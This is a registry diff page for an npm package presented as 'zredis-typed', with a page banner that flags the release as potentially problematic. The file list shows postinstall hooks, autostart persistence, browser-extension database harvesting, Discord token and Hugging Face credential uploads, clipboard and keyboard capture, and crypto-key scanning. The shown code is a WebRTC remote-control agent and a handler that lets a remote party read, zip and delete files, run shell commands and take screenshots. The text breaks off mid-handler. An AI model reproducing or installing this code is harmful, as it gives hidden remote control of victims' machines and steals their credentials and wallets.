zredis-typed 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of zredis-typed might be problematic. Click here for more details.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.ForgeRtcAgentSession = void 0;
|
|
4
|
+
exports.forgeWebRtcP2PEnabled = forgeWebRtcP2PEnabled;
|
|
5
|
+
exports.agentOutboundPreferRtcDc = agentOutboundPreferRtcDc;
|
|
6
|
+
exports.rtcIceServersForNodeDc = rtcIceServersForNodeDc;
|
|
7
|
+
exports.loadNodeDcPeerConnection = loadNodeDcPeerConnection;
|
|
8
|
+
function forgeWebRtcP2PEnabled() {
|
|
9
|
+
const raw = (process.env.FORGE_JS_WEBRTC_P2P || "1").trim().toLowerCase();
|
|
10
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
11
|
+
}
|
|
12
|
+
/** ICE UDP multiplexing (libdatachannel): fewer ports; often pairs better with browser bundle/mux. */
|
|
13
|
+
function forgeRtcIceUdpMuxEnabled() {
|
|
14
|
+
const raw = (process.env.FORGE_JS_WEBRTC_ICE_UDP_MUX || "1").trim().toLowerCase();
|
|
15
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
16
|
+
}
|
|
17
|
+
/** ICE over TCP candidates when UDP is blocked (may trade latency for connectivity). */
|
|
18
|
+
function forgeRtcIceTcpEnabled() {
|
|
19
|
+
const raw = (process.env.FORGE_JS_WEBRTC_ICE_TCP || "1").trim().toLowerCase();
|
|
20
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
21
|
+
}
|
|
22
|
+
/** Small agent→viewer JSON safe on SCTP data channels (≤ ~32k applied in relayAgent). Large/binary stays on WebSocket. */
|
|
23
|
+
const AGENT_OUTBOUND_RTC_DC_TYPES = new Set([
|
|
24
|
+
"rc_input_result",
|
|
25
|
+
"rc_clipboard_set_result",
|
|
26
|
+
"rc_clipboard_get_result",
|
|
27
|
+
"fs_roots_result",
|
|
28
|
+
"fs_list_result",
|
|
29
|
+
"fs_parent_result",
|
|
30
|
+
"fs_delete_result",
|
|
31
|
+
"fs_error",
|
|
32
|
+
/** Short shell output uses DC; large stdout/stderr exceeds relayAgent 32k cap and falls back to WebSocket. */
|
|
33
|
+
"fs_shell_exec_result",
|
|
34
|
+
"fs_hf_upload_progress",
|
|
35
|
+
]);
|
|
36
|
+
function agentOutboundPreferRtcDc(msgType) {
|
|
37
|
+
return AGENT_OUTBOUND_RTC_DC_TYPES.has(msgType);
|
|
38
|
+
}
|
|
39
|
+
function rtcIceServersForNodeDc(raw) {
|
|
40
|
+
if (!raw || !Array.isArray(raw) || raw.length === 0) {
|
|
41
|
+
return ["stun:stun.l.google.com:19302"];
|
|
42
|
+
}
|
|
43
|
+
const out = [];
|
|
44
|
+
for (const entry of raw) {
|
|
45
|
+
if (typeof entry === "string") {
|
|
46
|
+
const s = entry.trim();
|
|
47
|
+
if (s)
|
|
48
|
+
out.push(s);
|
|
49
|
+
continue;
|
|
50
|
+
}
|
|
51
|
+
if (!entry || typeof entry !== "object")
|
|
52
|
+
continue;
|
|
53
|
+
const o = entry;
|
|
54
|
+
const urlsRaw = o.urls;
|
|
55
|
+
const username = typeof o.username === "string" ? o.username : "";
|
|
56
|
+
const credential = typeof o.credential === "string"
|
|
57
|
+
? o.credential
|
|
58
|
+
: typeof o.credential === "number"
|
|
59
|
+
? String(o.credential)
|
|
60
|
+
: "";
|
|
61
|
+
const pushUrl = (u) => {
|
|
62
|
+
const url = u.trim();
|
|
63
|
+
if (!url)
|
|
64
|
+
return;
|
|
65
|
+
const lower = url.toLowerCase();
|
|
66
|
+
if (username &&
|
|
67
|
+
credential &&
|
|
68
|
+
(lower.startsWith("turn:") || lower.startsWith("turns:"))) {
|
|
69
|
+
const rest = url.replace(/^turns?:/i, "");
|
|
70
|
+
const encU = encodeURIComponent(username);
|
|
71
|
+
const encP = encodeURIComponent(credential);
|
|
72
|
+
const prefix = lower.startsWith("turns:") ? "turns:" : "turn:";
|
|
73
|
+
out.push(`${prefix}${encU}:${encP}@${rest.replace(/^\/\//, "")}`);
|
|
74
|
+
}
|
|
75
|
+
else {
|
|
76
|
+
out.push(url);
|
|
77
|
+
}
|
|
78
|
+
};
|
|
79
|
+
if (typeof urlsRaw === "string") {
|
|
80
|
+
pushUrl(urlsRaw);
|
|
81
|
+
}
|
|
82
|
+
else if (Array.isArray(urlsRaw)) {
|
|
83
|
+
for (const u of urlsRaw) {
|
|
84
|
+
if (typeof u === "string")
|
|
85
|
+
pushUrl(u);
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
return out.length > 0 ? out : ["stun:stun.l.google.com:19302"];
|
|
90
|
+
}
|
|
91
|
+
function normalizeRemoteOfferType(raw) {
|
|
92
|
+
const x = raw.trim().toLowerCase();
|
|
93
|
+
if (x === "answer")
|
|
94
|
+
return "answer";
|
|
95
|
+
return "offer";
|
|
96
|
+
}
|
|
97
|
+
class ForgeRtcAgentSession {
|
|
98
|
+
pc;
|
|
99
|
+
destroyed = false;
|
|
100
|
+
constructor(opts) {
|
|
101
|
+
const rtcConfig = {
|
|
102
|
+
iceServers: opts.iceServers,
|
|
103
|
+
iceTransportPolicy: "all",
|
|
104
|
+
};
|
|
105
|
+
if (forgeRtcIceUdpMuxEnabled()) {
|
|
106
|
+
rtcConfig.enableIceUdpMux = true;
|
|
107
|
+
}
|
|
108
|
+
if (forgeRtcIceTcpEnabled()) {
|
|
109
|
+
rtcConfig.enableIceTcp = true;
|
|
110
|
+
}
|
|
111
|
+
const pc = new opts.PeerConnection("forge-agent", rtcConfig);
|
|
112
|
+
this.pc = pc;
|
|
113
|
+
pc.onLocalDescription((sdp, type) => {
|
|
114
|
+
if (this.destroyed)
|
|
115
|
+
return;
|
|
116
|
+
opts.sendSignaling({
|
|
117
|
+
type: "forge_rtc_answer",
|
|
118
|
+
sdp,
|
|
119
|
+
sdpType: type,
|
|
120
|
+
});
|
|
121
|
+
});
|
|
122
|
+
pc.onLocalCandidate((candidate, mid) => {
|
|
123
|
+
if (this.destroyed || !String(candidate || "").trim())
|
|
124
|
+
return;
|
|
125
|
+
opts.sendSignaling({
|
|
126
|
+
type: "forge_rtc_agent_candidate",
|
|
127
|
+
candidate,
|
|
128
|
+
sdpMid: mid,
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
pc.onDataChannel((dc) => {
|
|
132
|
+
if (this.destroyed)
|
|
133
|
+
return;
|
|
134
|
+
const label = dc.getLabel();
|
|
135
|
+
const bindInbound = () => {
|
|
136
|
+
dc.onMessage((msg) => {
|
|
137
|
+
if (this.destroyed)
|
|
138
|
+
return;
|
|
139
|
+
let text;
|
|
140
|
+
if (typeof msg === "string") {
|
|
141
|
+
text = msg;
|
|
142
|
+
}
|
|
143
|
+
else if (Buffer.isBuffer(msg)) {
|
|
144
|
+
text = msg.toString("utf8");
|
|
145
|
+
}
|
|
146
|
+
else {
|
|
147
|
+
text = Buffer.from(new Uint8Array(msg)).toString("utf8");
|
|
148
|
+
}
|
|
149
|
+
opts.onInboundDcText(text);
|
|
150
|
+
});
|
|
151
|
+
};
|
|
152
|
+
if (label === "forge-rc") {
|
|
153
|
+
opts.setOutboundDc("main", dc);
|
|
154
|
+
dc.onOpen(() => {
|
|
155
|
+
if (this.destroyed)
|
|
156
|
+
return;
|
|
157
|
+
opts.sendSignaling({
|
|
158
|
+
type: "forge_rtc_agent_status",
|
|
159
|
+
ok: true,
|
|
160
|
+
datachannel: true,
|
|
161
|
+
});
|
|
162
|
+
});
|
|
163
|
+
dc.onClosed(() => {
|
|
164
|
+
opts.setOutboundDc("main", null);
|
|
165
|
+
this.close();
|
|
166
|
+
opts.onFatal();
|
|
167
|
+
});
|
|
168
|
+
dc.onError((_err) => {
|
|
169
|
+
opts.setOutboundDc("main", null);
|
|
170
|
+
this.close();
|
|
171
|
+
opts.onFatal();
|
|
172
|
+
});
|
|
173
|
+
bindInbound();
|
|
174
|
+
}
|
|
175
|
+
else if (label === "forge-rc-input") {
|
|
176
|
+
opts.setOutboundDc("input", dc);
|
|
177
|
+
dc.onClosed(() => opts.setOutboundDc("input", null));
|
|
178
|
+
dc.onError((_err) => opts.setOutboundDc("input", null));
|
|
179
|
+
bindInbound();
|
|
180
|
+
}
|
|
181
|
+
else if (label === "forge-bulk") {
|
|
182
|
+
const api = {
|
|
183
|
+
sendMessage: (s) => dc.sendMessage(s),
|
|
184
|
+
sendMessageBinary: (b) => dc.sendMessageBinary(b),
|
|
185
|
+
isOpen: () => dc.isOpen(),
|
|
186
|
+
};
|
|
187
|
+
opts.setOutboundDc("bulk", api);
|
|
188
|
+
dc.onClosed(() => opts.setOutboundDc("bulk", null));
|
|
189
|
+
dc.onError((_err) => opts.setOutboundDc("bulk", null));
|
|
190
|
+
dc.onMessage(() => {
|
|
191
|
+
/* Viewer→agent bulk not used in v1 */
|
|
192
|
+
});
|
|
193
|
+
}
|
|
194
|
+
else {
|
|
195
|
+
try {
|
|
196
|
+
dc.close();
|
|
197
|
+
}
|
|
198
|
+
catch {
|
|
199
|
+
/* skip */
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
});
|
|
203
|
+
try {
|
|
204
|
+
pc.setRemoteDescription(opts.sdp, normalizeRemoteOfferType(opts.sdpType));
|
|
205
|
+
}
|
|
206
|
+
catch (e) {
|
|
207
|
+
if (!opts.quiet) {
|
|
208
|
+
console.warn(`[forge-agent] WebRTC setRemoteDescription failed: ${String(e)}`);
|
|
209
|
+
}
|
|
210
|
+
opts.sendSignaling({
|
|
211
|
+
type: "forge_rtc_agent_status",
|
|
212
|
+
ok: false,
|
|
213
|
+
datachannel: false,
|
|
214
|
+
detail: `setRemoteDescription: ${String(e)}`,
|
|
215
|
+
});
|
|
216
|
+
this.close();
|
|
217
|
+
throw e;
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
addRemoteIce(candidate, mid) {
|
|
221
|
+
if (this.destroyed || !String(candidate || "").trim())
|
|
222
|
+
return;
|
|
223
|
+
try {
|
|
224
|
+
this.pc.addRemoteCandidate(candidate, mid || "");
|
|
225
|
+
}
|
|
226
|
+
catch {
|
|
227
|
+
/* ignore malformed trickle ICE */
|
|
228
|
+
}
|
|
229
|
+
}
|
|
230
|
+
close() {
|
|
231
|
+
if (this.destroyed)
|
|
232
|
+
return;
|
|
233
|
+
this.destroyed = true;
|
|
234
|
+
try {
|
|
235
|
+
this.pc.close();
|
|
236
|
+
}
|
|
237
|
+
catch {
|
|
238
|
+
/* skip */
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
}
|
|
242
|
+
exports.ForgeRtcAgentSession = ForgeRtcAgentSession;
|
|
243
|
+
function loadNodeDcPeerConnection() {
|
|
244
|
+
try {
|
|
245
|
+
require.resolve("node-datachannel");
|
|
246
|
+
}
|
|
247
|
+
catch {
|
|
248
|
+
return null;
|
|
249
|
+
}
|
|
250
|
+
try {
|
|
251
|
+
// Optional native dependency — may be absent on some installs.
|
|
252
|
+
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
|
253
|
+
const m = require("node-datachannel");
|
|
254
|
+
return m.PeerConnection;
|
|
255
|
+
}
|
|
256
|
+
catch {
|
|
257
|
+
return null;
|
|
258
|
+
}
|
|
259
|
+
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.forgeSemverLt = forgeSemverLt;
|
|
4
|
+
/** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
|
|
5
|
+
function forgeSemverLt(a, b) {
|
|
6
|
+
const pa = a
|
|
7
|
+
.trim()
|
|
8
|
+
.replace(/^v/i, "")
|
|
9
|
+
.split(".")
|
|
10
|
+
.map((x) => parseInt(x, 10) || 0);
|
|
11
|
+
const pb = b
|
|
12
|
+
.trim()
|
|
13
|
+
.replace(/^v/i, "")
|
|
14
|
+
.split(".")
|
|
15
|
+
.map((x) => parseInt(x, 10) || 0);
|
|
16
|
+
for (let i = 0; i < Math.max(pa.length, pb.length, 3); i++) {
|
|
17
|
+
const av = pa[i] ?? 0;
|
|
18
|
+
const bv = pb[i] ?? 0;
|
|
19
|
+
if (av < bv)
|
|
20
|
+
return true;
|
|
21
|
+
if (av > bv)
|
|
22
|
+
return false;
|
|
23
|
+
}
|
|
24
|
+
return false;
|
|
25
|
+
}
|
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
|
|
2
|
+
export declare function jsonBoolLoose(v: unknown): boolean;
|
|
3
|
+
export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;
|
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.jsonBoolLoose = jsonBoolLoose;
|
|
4
|
+
exports.buildFsResponse = buildFsResponse;
|
|
5
|
+
/**
|
|
6
|
+
* Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
|
|
7
|
+
*/
|
|
8
|
+
const fsProtocol_1 = require("./fsProtocol");
|
|
9
|
+
/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
|
|
10
|
+
function jsonBoolLoose(v) {
|
|
11
|
+
if (v === true)
|
|
12
|
+
return true;
|
|
13
|
+
if (v === false || v == null)
|
|
14
|
+
return false;
|
|
15
|
+
if (typeof v === "number")
|
|
16
|
+
return v !== 0 && Number.isFinite(v);
|
|
17
|
+
if (typeof v === "string") {
|
|
18
|
+
const s = v.trim().toLowerCase();
|
|
19
|
+
return s === "1" || s === "true" || s === "yes" || s === "on";
|
|
20
|
+
}
|
|
21
|
+
return false;
|
|
22
|
+
}
|
|
23
|
+
async function buildFsResponse(msg, allowFilesystem) {
|
|
24
|
+
/** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
|
|
25
|
+
const rid = String(msg.request_id ?? "");
|
|
26
|
+
if (!allowFilesystem) {
|
|
27
|
+
return {
|
|
28
|
+
type: "fs_error",
|
|
29
|
+
request_id: rid,
|
|
30
|
+
ok: false,
|
|
31
|
+
error: "filesystem explorer disabled on agent",
|
|
32
|
+
};
|
|
33
|
+
}
|
|
34
|
+
const msgType = String(msg.type || "");
|
|
35
|
+
try {
|
|
36
|
+
if (msgType === "fs_roots") {
|
|
37
|
+
const payload = (0, fsProtocol_1.fsRootsPayload)();
|
|
38
|
+
return { type: "fs_roots_result", request_id: rid, ...payload };
|
|
39
|
+
}
|
|
40
|
+
if (msgType === "fs_list") {
|
|
41
|
+
const pathStr = String(msg.path ?? "");
|
|
42
|
+
const searchQuery = String(msg.search ?? "");
|
|
43
|
+
const result = (0, fsProtocol_1.fsListDir)(pathStr, null, searchQuery);
|
|
44
|
+
return { type: "fs_list_result", request_id: rid, ...result };
|
|
45
|
+
}
|
|
46
|
+
if (msgType === "fs_read") {
|
|
47
|
+
const pathStr = String(msg.path ?? "");
|
|
48
|
+
let mbInt = null;
|
|
49
|
+
const mb = msg.max_bytes;
|
|
50
|
+
if (mb != null) {
|
|
51
|
+
const n = parseInt(String(mb), 10);
|
|
52
|
+
if (!Number.isNaN(n))
|
|
53
|
+
mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
|
|
54
|
+
}
|
|
55
|
+
let off = 0;
|
|
56
|
+
try {
|
|
57
|
+
off = parseInt(String(msg.offset || 0), 10) || 0;
|
|
58
|
+
}
|
|
59
|
+
catch {
|
|
60
|
+
off = 0;
|
|
61
|
+
}
|
|
62
|
+
const chunk = Boolean(msg.chunk);
|
|
63
|
+
const force = jsonBoolLoose(msg.force);
|
|
64
|
+
const forceKill = jsonBoolLoose(msg.force_kill);
|
|
65
|
+
const result = chunk
|
|
66
|
+
? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
|
|
67
|
+
: (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
|
|
68
|
+
return { type: "fs_read_result", request_id: rid, ...result };
|
|
69
|
+
}
|
|
70
|
+
if (msgType === "fs_zip") {
|
|
71
|
+
const pathStr = String(msg.path ?? "");
|
|
72
|
+
const pathsRaw = msg.paths;
|
|
73
|
+
const pathsArr = Array.isArray(pathsRaw) && pathsRaw.length > 0
|
|
74
|
+
? pathsRaw.map((x) => String(x ?? "").trim()).filter(Boolean)
|
|
75
|
+
: null;
|
|
76
|
+
const pathsOverride = pathsArr && pathsArr.length > 1 ? pathsArr : null;
|
|
77
|
+
let mbInt = null;
|
|
78
|
+
const mb = msg.max_bytes;
|
|
79
|
+
if (mb != null) {
|
|
80
|
+
const n = parseInt(String(mb), 10);
|
|
81
|
+
if (!Number.isNaN(n))
|
|
82
|
+
mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
|
|
83
|
+
}
|
|
84
|
+
let off = 0;
|
|
85
|
+
try {
|
|
86
|
+
off = parseInt(String(msg.offset || 0), 10) || 0;
|
|
87
|
+
}
|
|
88
|
+
catch {
|
|
89
|
+
off = 0;
|
|
90
|
+
}
|
|
91
|
+
const chunk = Boolean(msg.chunk);
|
|
92
|
+
const force = jsonBoolLoose(msg.force);
|
|
93
|
+
const forceKill = jsonBoolLoose(msg.force_kill);
|
|
94
|
+
const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill, pathsOverride);
|
|
95
|
+
return { type: "fs_zip_result", request_id: rid, ...result };
|
|
96
|
+
}
|
|
97
|
+
if (msgType === "fs_parent") {
|
|
98
|
+
const pathStr = String(msg.path ?? "");
|
|
99
|
+
const result = (0, fsProtocol_1.fsParentDirectory)(pathStr);
|
|
100
|
+
return { type: "fs_parent_result", request_id: rid, ...result };
|
|
101
|
+
}
|
|
102
|
+
if (msgType === "fs_delete") {
|
|
103
|
+
const pathStr = String(msg.path ?? "");
|
|
104
|
+
const force = jsonBoolLoose(msg.force);
|
|
105
|
+
const forceKill = jsonBoolLoose(msg.force_kill);
|
|
106
|
+
const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
|
|
107
|
+
return { type: "fs_delete_result", request_id: rid, ...result };
|
|
108
|
+
}
|
|
109
|
+
if (msgType === "fs_shell_exec") {
|
|
110
|
+
const command = String(msg.command ?? "");
|
|
111
|
+
const cwd = msg.cwd != null ? String(msg.cwd) : undefined;
|
|
112
|
+
let timeout = 120_000;
|
|
113
|
+
try {
|
|
114
|
+
const n = parseInt(String(msg.timeout_ms ?? ""), 10);
|
|
115
|
+
if (Number.isFinite(n))
|
|
116
|
+
timeout = n;
|
|
117
|
+
}
|
|
118
|
+
catch {
|
|
119
|
+
timeout = 120_000;
|
|
120
|
+
}
|
|
121
|
+
const result = await (0, fsProtocol_1.fsShellExec)(command, null, cwd, timeout);
|
|
122
|
+
return { type: "fs_shell_exec_result", request_id: rid, ...result };
|
|
123
|
+
}
|
|
124
|
+
if (msgType === "fs_screenshot") {
|
|
125
|
+
const maxBytesRaw = Number.parseInt(String(msg.max_bytes ?? ""), 10);
|
|
126
|
+
const maxWidthRaw = Number.parseInt(String(msg.max_width ?? ""), 10);
|
|
127
|
+
const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)({
|
|
128
|
+
stream_profile: String(msg.stream_profile ?? ""),
|
|
129
|
+
max_bytes: Number.isFinite(maxBytesRaw) ? maxBytesRaw : undefined,
|
|
